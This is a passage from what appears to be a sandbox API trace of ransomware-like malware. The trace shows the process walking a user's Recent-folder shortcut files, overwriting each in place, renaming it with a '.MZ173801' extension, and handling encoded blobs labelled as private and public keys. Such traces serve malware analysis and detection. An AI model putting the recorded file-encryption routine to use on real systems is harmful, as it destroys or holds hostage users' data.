lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.912] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3e4 [0146.912] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.912] ReadFile (in: hFile=0x280, lpBuffer=0x2541f00, nNumberOfBytesToRead=0x3e4, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2541f00*, lpNumberOfBytesRead=0x19fa18*=0x3e4, lpOverlapped=0x0) returned 1 [0146.913] CloseHandle (hObject=0x280) returned 1 [0146.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13_UhdLxbGNJHYgey.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\13_uhdlxbgnjhygey.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.914] WriteFile (in: hFile=0x280, lpBuffer=0x2543f30*, nNumberOfBytesToWrite=0x3e4, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2543f30*, lpNumberOfBytesWritten=0x19fa24*=0x3e4, lpOverlapped=0x0) returned 1 [0146.915] CloseHandle (hObject=0x280) returned 1 [0146.916] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13_UhdLxbGNJHYgey.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\13_uhdlxbgnjhygey.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\13_UhdLxbGNJHYgey.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\13_uhdlxbgnjhygey.lnk.mz173801")) returned 1 [0146.916] GetCurrentThreadId () returned 0xab4 [0146.916] GetCurrentThreadId () returned 0xab4 [0146.916] GetCurrentThreadId () returned 0xab4 [0146.916] GetCurrentThreadId () returned 0xab4 [0146.916] GetCurrentThreadId () returned 0xab4 [0146.916] GetCurrentThreadId () returned 0xab4 [0146.916] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf54485da, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf54485da, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf54485da, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="1_2OVvk.lnk", cAlternateFileName="")) returned 1 [0146.916] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.916] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.916] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_2OVvk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_2ovvk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf54485da, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf54485da, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf54485da, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x399)) returned 1 [0146.916] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_2OVvk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_2ovvk.lnk")) returned 0x20 [0146.917] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_2OVvk.lnk", dwFileAttributes=0x80) returned 1 [0146.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252706c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.919] GetCurrentThreadId () returned 0xab4 [0146.919] GetCurrentThreadId () returned 0xab4 [0146.919] GetCurrentThreadId () returned 0xab4 [0146.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x25380cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.920] GetCurrentThreadId () returned 0xab4 [0146.920] GetCurrentThreadId () returned 0xab4 [0146.920] GetCurrentThreadId () returned 0xab4 [0146.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_2OVvk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_2ovvk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.920] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.920] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.920] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x399 [0146.920] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.920] ReadFile (in: hFile=0x280, lpBuffer=0x253fed0, nNumberOfBytesToRead=0x399, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesRead=0x19fa18*=0x399, lpOverlapped=0x0) returned 1 [0146.921] CloseHandle (hObject=0x280) returned 1 [0146.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_2OVvk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_2ovvk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.922] WriteFile (in: hFile=0x280, lpBuffer=0x2541f00*, nNumberOfBytesToWrite=0x399, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2541f00*, lpNumberOfBytesWritten=0x19fa24*=0x399, lpOverlapped=0x0) returned 1 [0146.923] CloseHandle (hObject=0x280) returned 1 [0146.924] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_2OVvk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_2ovvk.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1_2OVvk.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\1_2ovvk.lnk.mz173801")) returned 1 [0146.924] GetCurrentThreadId () returned 0xab4 [0146.924] GetCurrentThreadId () returned 0xab4 [0146.924] GetCurrentThreadId () returned 0xab4 [0146.925] GetCurrentThreadId () returned 0xab4 [0146.925] GetCurrentThreadId () returned 0xab4 [0146.925] GetCurrentThreadId () returned 0xab4 [0146.925] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf14efce1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf14efce1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf14efce1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="283NpHh8_ly2.lnk", cAlternateFileName="283NPH~1.LNK")) returned 1 [0146.925] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.925] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.925] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\283NpHh8_ly2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\283nphh8_ly2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf14efce1, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf14efce1, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf14efce1, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3d0)) returned 1 [0146.925] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\283NpHh8_ly2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\283nphh8_ly2.lnk")) returned 0x20 [0146.925] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\283NpHh8_ly2.lnk", dwFileAttributes=0x80) returned 1 [0146.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 